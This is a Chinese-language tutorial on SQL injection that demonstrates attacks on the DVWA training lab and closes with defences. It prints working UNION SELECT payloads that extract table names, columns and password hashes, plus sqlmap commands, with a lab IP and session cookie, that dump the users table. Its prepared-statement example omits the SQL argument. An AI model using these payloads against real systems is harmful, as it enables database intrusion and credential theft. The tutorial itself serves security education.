几乎所有 Web 应用程序都依赖数据库来管理在应用程序中处理的数据。在许多情况下,这些数据负责处理核心应用程序逻辑,保存用户账户、权限、应用程序配置设置等。大多数数据库都保存有结构化、可以使用预先定义的查询格式或语言访问的数据,并包含内部逻辑来管理这些数据。本文介绍SQL注入攻击如何利用语言的漏洞来获取数据库中的数据。
1. 原理
首先,SQL语言是一门解释型语言。所谓的解释型语言就是一种在运行时由一个运行时组件(runtime component)解释语言代码并执行其中指令的语言。与之相对的还有编译型语言,它的代码在生成时转换成机器指令,然后在运行时直接由使用该语言的计算机处理器执行这些指令。
从理论上讲,任何语言都可以使用编译器或解释器来执行,这种区别并不是语言本身的内在特性。但大多数语言仅通过上述一种方法来执行,SQL语言就是这样。
基于解释型语言的执行方式,会产生一系列叫作代码注入的漏洞,SQL注入就是其中的一种。在任何实际用途的Web应用程序都会有用户交互环节,会收到用户提交的数据,对其进行处理并执行相应的操作。因此,解释器处理的数据其实是由程序员编写的SQL语句代码和用户提交的数据共同组成的。在这个时候,攻击者可以提交专门设计过的 SQL 语句,向Web应用程序攻击。结果,解释器就会将这其中一部分的输入解释成程序指令执行,就像一开始程序员编写的代码一样。因此,SQL注入漏洞就随之形成了。
除了语言本身的原因,SQL注入产生的另一个原因就是未过滤问题。在编写Web应用时,由于其自主访问控制的性质,程序员往往会对用户输入的信息进行一定程度上的过滤操作,过滤掉一些危险的字符,如or、单引号、注释符等。但往往有些经验不足的程序员会忽视这一问题,只是进行简单的过滤,从而让攻击者有机可乘。
SQL注入漏洞存在时间非常久,在Web应用高速发展的今天,已经很难见到SQL注入漏洞了。但是学习的目的在于了解其根本以及如何防范这种漏洞的产生。
2. 注入分类
接下来了解一下具体的SQL实施与分类。
在实战中,主要会接触到3个不同类型的注入点,它们分别是数字型、字符型和搜索型。在编写实际的Web应用程序时,程序员会根据不同的数据类型,编写不同的查询代码如下。
- “?”表示需要输入的数据。
- 数字型:SELECT * FROM user WHERE id=?
- 字符型:SELECT * FROM user WHERE username=‘?’
- 搜索型:SELECT * FROM user WHERE username=‘% ? %’
每个类型在输入数据的时候,对数据做了一定的规范,因此,才产生了这样的划分,我们会在接下来的实例介绍中重点去区分数字型与字符型。要提前申明一点,虽然这里将注入点划分了一定的类型,但是注入的步骤与原理都是一致的,因此,这种区分只是从数据角度去划分的。
接下来将对SQL注入执行的步骤进行实例分析,在整个分析过程中,我们会将数字型与字符型细分开来,并且会先对手工SQL注入进行剖析,然后再教大家去使用工具。对于从事安全的人员来说,工具只是实现渗透的一种手段,不能过多依赖于工具的操作。工具也是安全人员为了简化步骤而编写出来的。对于刚刚接触安全的人来说,工具会更方便,了解原理才能真正掌握了这个漏洞。
在DVWA中的SQL Injection,在其中输入框中输入1,然后提交,如图1所示。
图1 ID:1
这里要先对注入点的类型进行判断,按照一般的步骤,输入数字时会先考虑这是一个数字型的注入点,所以会先按照数字型的方式操作注入点。
在其中输入1 and 1=1,如图2所示。
图2 1D:1 and 1=1
在图2中,我们可以看到ID的数据变成了 1 and 1=1,很明显,这里的ID是一个字符型。所以对注入点类型的判断是字符型。
接下来判断该注入点是否有效。因为在实际操作中,某些应用程序虽然允许此类输入操作的发生,但是它会在内部逻辑中过滤掉该部分。可以通过一个经典的操作来判断注入点是否有效。
在其中输入1’and‘1’=’1时,如图3所示。
图3 ID:1’and‘1’=’1
之后再输入 1’and‘1’=’2,如图4所示。
图4 ID:1’and‘1’=’2
这里会出现两种不同的结果,而这两种结果证明这个注入点是有效的。and 1=1 是一个永真命题,and后面的条件永远成立,而and 1=2正好相反,1=2是一个永假命题,and后面的条件不成立。对于Web应用来说,在条件不成立的情况下也不会将结果返回给用户,所以在图4中看不到数据。
前面的操作是SQL注入点判断的基本操作。后续对于不同的数据库有不同的操作。数据库大致可以分成Access数据库、MySQL数据库、SQLServer数据库、Oracle数据库等。Access数据库是比较早期应用于Web应用的数据库。早期的Web应用主要以显示大量文本数据的静态网页组成。但是,近几年Access数据库的使用逐渐减小,因为它不能适应大量用户的访问,并且安全性没有其他数据库高。而现在使用较多的是MySQL数据库。SQL Server和Oracle在大型公司比较适用。
MySQL 数据库允许使用联合查询的方式,这样查询更加便捷。接下来,我们继续刚才的操作,判断完注入点之后,需要判断该数据表存在的列数,输入1’order by 1#,如图5所示。
图5 ID:1’order by 1#
order by是根据列值查找的命令,#起到的作用是注释,防止后续语句的干扰。可以继续尝试输入:
- 1’order by 6 #
运行结果,如图6所示。
图6 列值查找
它会显示错误,找不到列值为6的列。这是因为该表中不存在6列,按照这个步骤,可以从1开始,逐步往上增加,直到出现一个数报错为止,这样,就可以知道该表中具体有多少列,当然,DVWA经过测试可以知道一共有2列。
知道列数之后,我们要看 MySQL 数据库的版本,因为 MySQL5.0 以后的版本具有information_schema数据库,里面存有所有数据库的数据表名和列名,如图7所示。
图7 information_schema数据库
利用这个数据库来进行数据的检索,所以在此之前需要查看该应用使用的MySQL数据库版本,输入:
- 1’union select version(),2 #
提交结果,如图8所示。
图8 查看版本
可以看到数据库的版本是 5.0.51a-3ubuntu5,知道了版本之后,就可以使用information_shchema来完成后续的操作。输入:
- 1' union select table_name,2 from information_schema.tables where table_schema=database()#
提交结果,如图9所示。
图9 查看表名
可以看到,图中显示出来两个表名。然后再来理解上面输入的语句,information_schema数据库中含有 tables 这个数据表,条件是表数据库名与 database()相同,而 database()正是当前查询的数据库。
然后查询列名,输入:
- 1' union select group_concat(column_name),2 from information_schema.columns where table_name='users' #
运行结果,如图10所示。
图10 查看列名
一共可以看到6个列名,输入语句其实与上面那句类似,就是找到这个数据表中的列名。有了这些数据,就可以列出想要的数据了,输入:
- 1' union select user,password from users#
运行结果,如图11所示。
图11 列出数据
这里的密码是使用MD5加密的,可以利用工具在线解密。
3. SQL注入工具
SQL注入工具有很多,比较好用的有Pangolin和SQLMap工具。这两个工具对于初学者来说,上手难度不大。
Pangolin 是一款帮助渗透测试人员进行 SQL 注入(SQL Injeciton)测试的安全工具。Pangolin与JSky(Web应用安全漏洞扫描器、Web应用安全评估工具)都是NOSEC公司的产品。Pangolin具备友好的图形界面并支持测试几乎所有数据库(Access、MsSQL、MySQL、Oracle、Informix、DB2、Sybase、PostgreSQL、SQLite)。Pangolin能够通过一系列非常简单的操作,达到最大化的攻击测试效果。它从检测注入开始到最后控制目标系统,都给出了测试步骤。Pangolin是目前国内使用率最高的SQL注入测试的安全软件。
SQLMap 是一个自动SQL注入工具,其可执行一个广泛的数据库,管理系统后端指纹,检索DBMS数据库、usernames、表格、列,并列举整个DBMS信息。SQLMap提供转储数据库表以及MySQL、PostgreSQL、SQL Server服务器下载或上传任何文件并执行任意代码的能力。
在Windows命令行中输入:
- >sqlmap.py-u"http://192.168.221.134/dvwa/vulnerabilities/sqli/?id=1&Submit=Submit"--cookie="security=low;PHPSESSID=66a9820184bd663d1f6c757704c8b435"-b--current-db
运行结果,如图12所示。
图12 获取数据库名
这里可以看到数据库的名称“dvwa”,之后输入:
- sqlmap.py-u"http://192.168.221.134/dvwa/vulnerabilities/sqli/?id=1&Submit=Submit"--cookie="security=low;PHPSESSID=66a9820184bd663d1f6c757704c8b435"-D dvwa –tables
运行结果,如图13所示。
图13 获取数据库表名
可以看到该数据库中有两个表,之后输入:
- sqlmap.py-u"http://192.168.221.134/dvwa/vulnerabilities/sqli/?id=1&Submit=Submit"--cookie="security=low;PHPSESSID=66a9820184bd663d1f6c757704c8b435"-D dvwa-T users –column
运行结果,如图14所示。
图14 获取数据库列名
可以看到一共有6个列名,之后就dump数据就可以了。输入:
- sqlmap.py-u"http://192.168.221.134/dvwa/vulnerabilities/sqli/?id=1&Submit=Submit"--cookie="security=low;PHPSESSID=66a9820184bd663d1f6c757704c8b435"-D dvwa-T users-C user,password –dump
运行结果,如图15所示。
图15 SQLMap运行结果
SQLMap自带字典可以来破译比较弱的密码。从操作上看,SQLMap是一款功能比较强大的自动注入工具,但是在安全级别较高的应用中,SQLMap的使用还是很有限的。
4. 预防SQL注入
对于服务器层面的防范,应该保证生产环境的Webshell是关闭错误信息的。例如,PHP生产环境的配置php.ini中的display_error是off,这样就可以关闭服务器的错误提示。另外可以从编码方面去预防SQL注入。
使用预编译语句,是防御SQL注入的最佳方式,就是使用预编译语句绑定变量。例如,JSP中使用的预编译的SQL语句:
- String sql=“SELECT * FROM users where username=?”;
- PreparedStatement pstmt=connection.prepareStatement();
- pstmt.setString(1,admin);
从上述代码可以看到“?”处与后面输入的变量相互绑定,之后攻击者如果再使用and 1=1之类的注入语句,应用程序会将整个部分当作是username来检索数据库,并不会造成修改语义的问题。对于有些无法使用预编译的部分程序,还有其他方法可以预防。
检查变量类型和格式也是一个不错的方法。如果要求用户输入的数据是整型的,那么就可以在查询数据库之前检查一下获取到的变量是否为整型,如果不为整型就重新校正。还有一些特殊的格式类型,如日期、时间、邮箱等格式。总地来说,只要有固定格式的变量,在SQL语句执行前,应该严格按照格式去检查,可以最大程度上预防SQL注入攻击。
还有一种方法就是过滤掉特殊的符号。在SQL注入时,往往需要一些特殊的符号帮助我们编写语句,如单引号(’)、井号(#)、双引号(”)等。可以将这些符号都进行转义处理或使用正则表达式过滤掉。
除了编码层面的预防,还需要做到数据库层面的权限管理,尽量减少在数据库中使用Root权限直接查询的次数。如果有多个应用程序使用同一个数据库,那么数据库应该分配好每个应用程序的权限。